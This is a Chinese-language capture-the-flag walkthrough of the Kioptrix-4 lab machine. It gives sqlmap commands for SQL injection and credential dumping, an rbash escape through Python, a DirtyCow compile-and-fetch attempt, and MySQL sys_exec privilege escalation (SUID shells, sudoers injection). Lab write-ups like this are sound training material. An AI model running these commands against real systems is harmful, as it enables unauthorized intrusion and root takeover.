Kioptrix-4靶机渗透
靶机有点不一样下载页面给了两个压缩包一个是虚拟磁盘另一个是vmdk的压缩包然后下载之后直接打开虚拟机是不行的需要再配置一下这里选择新建虚拟机直接选择典型即可然后按图中进行选择客户操作机选择其他然后一路下一步进行创建即可按默认操作应该是这样的因为我这里之前建过一个所以是2然后编辑虚拟机设置移除原来的磁盘后再新建一个磁盘类型直接选默认推荐的IDE即可然后一路下一步到添加硬盘导向浏览选择之前下载的vmdk就行了最后因为我kali是桥接因此这里也选择桥接模式内存按需调节即可信息收集依旧nmap -sn 10.144.71.0/24 nmap -sV -p- 10.144.71.249扫出来是80和22端口还有一个Samba的139和445先web端看一眼是一个登录界面先dirsearch看一下还有没有别的界面dirsearch -u http://10.144.71.249/有一个看着有用的是database.sqlURL拼接一下看一眼给了一个像账户密码一样的东西尝试登录发现不行那么尝试以john作为账户进行SQL注入尝试然后这里我还有一个认知误区刚开始我一直以为账户和密码都一样如果有注入的都应该能进行注入然后一直在账户那边尝试【毕竟能直接看出来】然后尝试了好久发现不行就感觉不对了尝试了爆破没出来后面上SQLmap跑出来是密码那边才有注入点这个就涉及到了后端查询语句了等到后面打穿了再看看来遇到登录框必须对用户名和密码两个参数都进行单引号测试才能准确判断注入点到底藏在哪。知道了注入点后登录是这么一个界面并且发现URL是直接拼接了用户名那么看看有无越权SQL注入得到rbash好像没啥用那上SQLmap跑个数据库这里是post因此BP抓包一下sqlmap -r 1.txt -p mypassword --batch --dbs跑出来三个数据库后续就是正常操作了直接给命令了在members中找到相应数据sqlmap -r 1.txt -p mypassword --batch -D members --columns sqlmap -r 1.txt -p mypassword --batch -D members -C password,username --dumpDatabase: members Table: members [2 entries] --------------------------------- | password | username | --------------------------------- | ADGAdsafdfwt4gadfga | robert | | MyNameIsJohn | john | ---------------------------------搞到这么两个一个就是我们之前注入时得到的还有一个看着也不像base64尝试了一下是乱码那应该就是密码尝试SSH登录ssh -oHostKeyAlgorithmsssh-rsa john10.144.71.249 ssh -oHostKeyAlgorithmsssh-rsa robert10.144.71.249逃逸rbash但是两个连上去之后都是受限bash这里就上一个图了其实之前没有具体接触过这类受限bash都是换个方向去做的这里细致了解一下如果遇到这种该怎么去思考首先我们需要确认shell类型输入以下命令进行探测echo $SHELL看到是受限的/bin/kshell然后输入help或者按两次tab查看能用的命令有哪些这里直接列出来cd clear echo exit help ll lpath ls这里有一个关键的echo,但是输入echo $PATH进程直接被杀掉了所以我们需要直接搞一个能逃逸的这里用到的是python的os.system()相信做过模板注入的师傅都不陌生这里还是解释一下受限Bash的限制原理RBASH是在bash进程启动时通过set -r或环境变量施加的逻辑限制。它只限制了我们当前启动的这个Bash进程。绕过原理我们在受限 Bash 里执行 pythonPython 解释器是一个全新的、不受限的独立进程。os.system()的作用它是Python用来调用操作系统 Shell 命令的标准接口。Python 不受RBASH限制所以它调用出来的whoami、bash等子进程也是不受限的。因此这里来采用echo os.system(/bin/bash)来逃逸rbash的限制提权内核提权尝试后面就是找提权点了但是SUID没有啥这里的内核版本没变然后目标靶机没有g那么本地编译一下g -Wall -pedantic -O2 -stdc11 -pthread -o dcow 40847.cpp -lutil wget http://10.144.71.177:8000/dcow -O dcow chmod x dcow但是又有一个问题出现了一个是64位另一个是32位的如果真要拿这个提权的还得再下个编译环境这里我没再做下去换了个方向如果有兴趣的话可以看看下面是下载和编译命令#下载 sudo apt install gcc-multilib g-multilib libc6-dev-i386 -y # 编译 32-bit dcow g -Wall -pedantic -O2 -stdc11 -pthread -m32 -o dcow 40847.cpp -lutilSamba提权尝试还记得我们之前扫端口的时候还有一个Samba吗我想着看一下这个版本是否有相应的漏洞拿MSF扫一下这个具体过程因为之前在第一台靶机讲过了因此这里直接给出版本号是(Samba 3.0.28a)kali里面搜一下但是我们这里的版本是28a好像没什么适用的最后哪一个是拒绝服务的PoC这里路直接堵死了只能回到之前的SSH中看看还有什么是我们忽略的地方插入其实应该正确步骤是看能不能匿名访问这个是前提条件这里是不行的UDF提权看一下root进程ps aux | grep root其中有一个是值得注意的地方看到了MySQL也是以root运行的那么很可能问题就出在这里首先得连上数据库大概翻了一遍文件在这里cat /var/www/john/john.php直接给出了相应的账户和密码默认空密码进行登录:mysql -u root -p然后在mysql数据库中的func表中找到这么一个这个就是提权的关键UDF了用户自定义函数User-Defined Function简称 UDF 就是 MySQL 里用户自己或管理员额外添加的函数它不像NOW()、CONCAT()这些 MySQL 自带的内置函数而是通过加载外部代码通常是.so共享库文件用 C/C 写来扩展 MySQL 的功能在 Kioptrix 4 这台机器上sys_exec就是一个典型的恶意/提权用的 UDF它能让 MySQL 调用系统命令而且因为 MySQL 服务是以 root 身份运行的所以sys_exec执行的命令也以 root 权限运行.创建sh因此这里通过它来进行提权首先可以用这种方法select sys_exec(cp /bin/sh /tmp; chown root:root /tmp/sh; chmod s /tmp/sh);cp /bin/sh /tmp把系统自带的 /bin/sh一个简单的 shell复制一份到 /tmp/sh 这个位置。chown root:root /tmp/sh把这个复制出来的 /tmp/sh 文件的所有者和所属组改成 root。chmod s /tmp/sh给这个文件加上 SUID 位特殊权限显示为 -rwsr-xr-x 中的 s。退出之后看一下/tmp目录就能看到我们创建的sh了运行一下即可得到root用户追加到特权组或者把john加到admin组中select sys_exec(usermod -a -G admin john);usermod修改用户账号的命令。-aappend追加表示“添加到组”而不是替换组。-G admin指定要加入的组名叫 admin。john要修改的目标用户名当前用户。这里有师傅可能有疑问是为啥是admin而不是root刚开始我就是这么做的(ˉ▽ˉ)...这是因为在 Ubuntu 12.04 之前admin组成员默认可以执行sudo命令相当于有管理员权限,可以看一下/etc/sudoers文件这里也能看出admin组【最前面的%代表组没有则是一个用户】有相应的权限,就是说我们进到admin组之后就有相应的权力去切换到root后面的su命令就是把我们切换成uid0的root就好比不带 % 的 root → 只给“叫 root 的这个人”发通行证。 带 % 的 admin → 给整个“admin 俱乐部”发通行证俱乐部里的任何人 john都能用这张通行证去当 root。然后su一下【这里的密码就是之前SSH登录用的】原来的话是不在admin组的SUID下的bash其他方法也是利用MySQL的变种了直接给 bash 加 SUIDSELECT sys_exec(chmod us /bin/bash); /bin/bash -p这里有一个注意点是最后面得跟-p(--privileged)因为当我们对/bin/bash或 /tmp/sh执行chmod us后文件就有了SUID 位理论上运行它应该以root权限执行。但是现代 bash包括 Kioptrix 4 用的老版本有一个内置的安全机制当 bash 检测到自己是 以 SUID 方式运行有效用户 ID euid0但实际调用者是普通用户时它会主动丢弃drop特权把自己的权限降回普通用户 john/robert防止被滥用提权。这里加上-p就代表着bash强制以root的身份启动直接写入/sudoersSELECT sys_exec(echo john ALL(ALL) NOPASSWD:ALL /etc/sudoers);